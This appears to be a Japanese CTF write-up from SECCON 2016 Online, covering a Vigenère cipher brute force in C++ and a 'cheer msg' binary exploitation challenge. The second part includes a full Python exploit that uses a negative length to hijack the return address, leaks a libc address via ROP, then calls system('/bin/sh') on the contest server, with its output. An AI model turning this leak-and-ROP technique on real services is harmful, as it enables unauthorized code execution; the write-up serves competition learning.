SECCON 2016 Online writeup
SECCON 2016 Online writeup
yharima
チームで参加.結果は 500 pts 145 th でした.
今回はとても難しかった….まだまだ力不足を実感しました.頑張らなければ.
自分は2問 + 1問は手伝いという感じでした.
その手伝ったりしたメンバーのブログもおいておきます.
SECCON 2016 Online CTF Writeup | にろきのメモ帳
Vigenere
ヴィジュネル暗号で暗号化された文章を復号する問題.
key
の長さと plain
の一部および cipher
のすべて,そして md5(plain)
が与えられる.
ひとまずヴィジュネル暗号を Wikipedia で学習したあと復号していく.
SECCON{
までは plain
が分かっているので key
の先頭7文字がわかる.
あと md5(plain)
が与えられているので残り key
の末尾5文字を総当りで調べて md5 が一致するようにすれば良い.
最初は適当に手を抜いてコマンドの md5
を shell 経由で叩いていたけどおそすぎたので,
cpp で書き直した. md5 自体は適当にググってもってきたライブラリを使った.
クソみたいなコードは以下.
#include <iostream> #include <string> #include <vector> #include "md5.h" using namespace std; int c2i(char c) { if (c == '{') { return 26; } if (c == '}') { return 27; } return c - 'A'; } char i2c(int n) { if (n == 26) { return '{'; } if (n == 27) { return '}'; } return 'A' + n; } void solve(string& key, string& cipher, const vector<string>& v) { string plain(cipher.size(), '?'); for (unsigned int i = 0; i < cipher.size(); ++i) { const int kk = i % key.size(); if (key[kk] == '?') { continue; } const int y = c2i(key[kk]); for (int j = 0; j < v[y].size(); ++j) { if (v[y][j] == cipher[i]) { plain[i] = i2c(j); break; } } } if (md5(plain) == "f528a6ab914c1ecf856a1d93103948fe") { cout << plain << endl; } } int main() { string key = "VIGENER"; string cipher = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"; vector<string> v; v.push_back("ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"); v.push_back("BCDEFGHIJKLMNOPQRSTUVWXYZ{}A"); v.push_back("CDEFGHIJKLMNOPQRSTUVWXYZ{}AB"); v.push_back("DEFGHIJKLMNOPQRSTUVWXYZ{}ABC"); v.push_back("EFGHIJKLMNOPQRSTUVWXYZ{}ABCD"); v.push_back("FGHIJKLMNOPQRSTUVWXYZ{}ABCDE"); v.push_back("GHIJKLMNOPQRSTUVWXYZ{}ABCDEF"); v.push_back("HIJKLMNOPQRSTUVWXYZ{}ABCDEFG"); v.push_back("IJKLMNOPQRSTUVWXYZ{}ABCDEFGH"); v.push_back("JKLMNOPQRSTUVWXYZ{}ABCDEFGHI"); v.push_back("KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ"); v.push_back("LMNOPQRSTUVWXYZ{}ABCDEFGHIJK"); v.push_back("MNOPQRSTUVWXYZ{}ABCDEFGHIJKL"); v.push_back("NOPQRSTUVWXYZ{}ABCDEFGHIJKLM"); v.push_back("OPQRSTUVWXYZ{}ABCDEFGHIJKLMN"); v.push_back("PQRSTUVWXYZ{}ABCDEFGHIJKLMNO"); v.push_back("QRSTUVWXYZ{}ABCDEFGHIJKLMNOP"); v.push_back("RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ"); v.push_back("STUVWXYZ{}ABCDEFGHIJKLMNOPQR"); v.push_back("TUVWXYZ{}ABCDEFGHIJKLMNOPQRS"); v.push_back("UVWXYZ{}ABCDEFGHIJKLMNOPQRST"); v.push_back("VWXYZ{}ABCDEFGHIJKLMNOPQRSTU"); v.push_back("WXYZ{}ABCDEFGHIJKLMNOPQRSTUV"); v.push_back("XYZ{}ABCDEFGHIJKLMNOPQRSTUVW"); v.push_back("YZ{}ABCDEFGHIJKLMNOPQRSTUVWX"); v.push_back("Z{}ABCDEFGHIJKLMNOPQRSTUVWXY"); v.push_back("{}ABCDEFGHIJKLMNOPQRSTUVWXYZ"); v.push_back("}ABCDEFGHIJKLMNOPQRSTUVWXYZ{"); for (int i = 0; i < v[0].size(); ++i) { for (int j = 0; j < v[0].size(); ++j) { for (int k = 0; k < v[0].size(); ++k) { for (int l = 0; l < v[0].size(); ++l) { for (int m = 0; m < v[0].size(); ++m) { string a = key + v[0][i] + v[0][j] + v[0][k] + v[0][l] + v[0][m]; solve(a, cipher, v); } } } } } return 0; }
cheer msg
objdump したり gdb で動かしたり,チームメンバーと相談したりと色々調べていると,
どうやら最初の Message Length
に負数を入れると esp を操作することができ,
message
関数内に入った後の入力で main 関数からの戻りアドレスを任意のものに書き換えれることが判明.
しかも, main 関数には stack_chk_fail
がないのでそのまま ROP につなげることができる.
ここまでわかれば,1回目はスタックを以下のように積んで got を leak させる.
------------------------ printf@plt のアドレス ------------------------ main 関数のアドレス ------------------------ 書式指定文字列(今回は `Message : %s` の一部を利用) ------------------------ setbuf@plt が指している GOT アドレス ------------------------
ここで leak した GOT のアドレスから libc の base アドレスがわかるので,
問題で配布されている libc から以下のように setbuf
, system
, /bin/sh
のアドレスを得る.
yuta1024@yharima:~$ strings -a -tx libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep "sh$" e45b inet6_opt_finish f397 _IO_wdefault_finish f97b _IO_fflush 117fe _IO_file_finish 11cf9 bdflush 1214b tcflush 123fd _IO_default_finish 15df25 Trailing backslash 15e3f8 sys/net/ash 16084c /bin/sh 1627b0 /bin/csh 1ab831 .gnu.hash yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep system 00040310 T __libc_system 001193c0 T svcerr_systemerr 00040310 W system yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep setbuf 0006de50 T _IO_file_setbuf 001278a0 T _IO_file_setbuf 00065d80 T _IO_setbuffer 00067b20 T setbuf 00065d80 W setbuffer
libc の base アドレスは, leak した setbuf の GOT - 0x00067b20
で求まるので,
求めた libc の base アドレスにそれぞれ上記で得たアドレスを加算してあげればそれぞれのアドレスが求まる.
あとは, leak 後に再度実行するようにした main 関数で同様にスタックを以下のように積んでシェルを起動する.
------------------------ system 関数のアドレス ------------------------ AAAA(なんでも良い) ------------------------ /bin/sh ------------------------
あとは python のコードに書き下せば良い.
とても馬鹿なことに libc が配布されているのに libcdb で検索したアドレスを使ったせいで,
1時間くらいシェルがあがらねー,とかいうことを言っていた.反省.
$ python cheer.py setbuf: 0xf759db20 libc_base: 0xf7536000 system_got: 0xf7576310 binsh_addr: 0xf769684c [*] send -112 [*] recv [*] send exploit code [*] recv Thank you BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBcW�AAAALhi�! Message : ===== get shell!!!! ===== ls -l total 16 -rwxr-xr-x 1 root cheer_msg 7701 Dec 3 17:06 cheer_msg -rw-r--r-- 1 root cheer_msg 25 Dec 5 00:01 flag.txt -rwxr-xr-x 1 root cheer_msg 34 Dec 4 23:20 run.sh cat flag.txt SECCON{N40.T_15_ju571c3}
書いたクソみたいなコードは以下.
import sys import socket import struct import telnetlib def p(p): return struct.pack('<I', p) def u(p): return struct.unpack('<I', p)[0] def interact(s): print "===== get shell!!!! =====" t = telnetlib.Telnet() t.sock = s t.interact() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('cheermsg.pwn.seccon.jp', 30527)) msg = s.recv(1024) s.send("-112\n"); msg = s.recv(1024) buf = 'A' * 32 buf += p(0x08048430) buf += p(0x080485ca) buf += p(0x08048890) buf += p(0x0804a00c) s.send(buf + "\n") msg = s.recv(1024) msg = s.recv(1024) setbuf_got = u(msg[78:82]) libc_base = setbuf_got - 0x00067b20 system_got = libc_base + 0x00040310 binsh_addr = libc_base + 0x0016084c print 'setbuf: 0x%x' % setbuf_got print 'libc_base: 0x%x' % libc_base print 'system_got: 0x%x' % system_got print 'binsh_addr: 0x%x' % binsh_addr print '[*] send -112' s.send("-112\n"); print '[*] recv' s.recv(1024) s.recv(1024) print '[*] send exploit code' buf = 'B' * 32 buf += p(system_got) buf += 'AAAA' buf += p(binsh_addr) s.send(buf + "\n") print '[*] recv' print s.recv(1024) interact(s)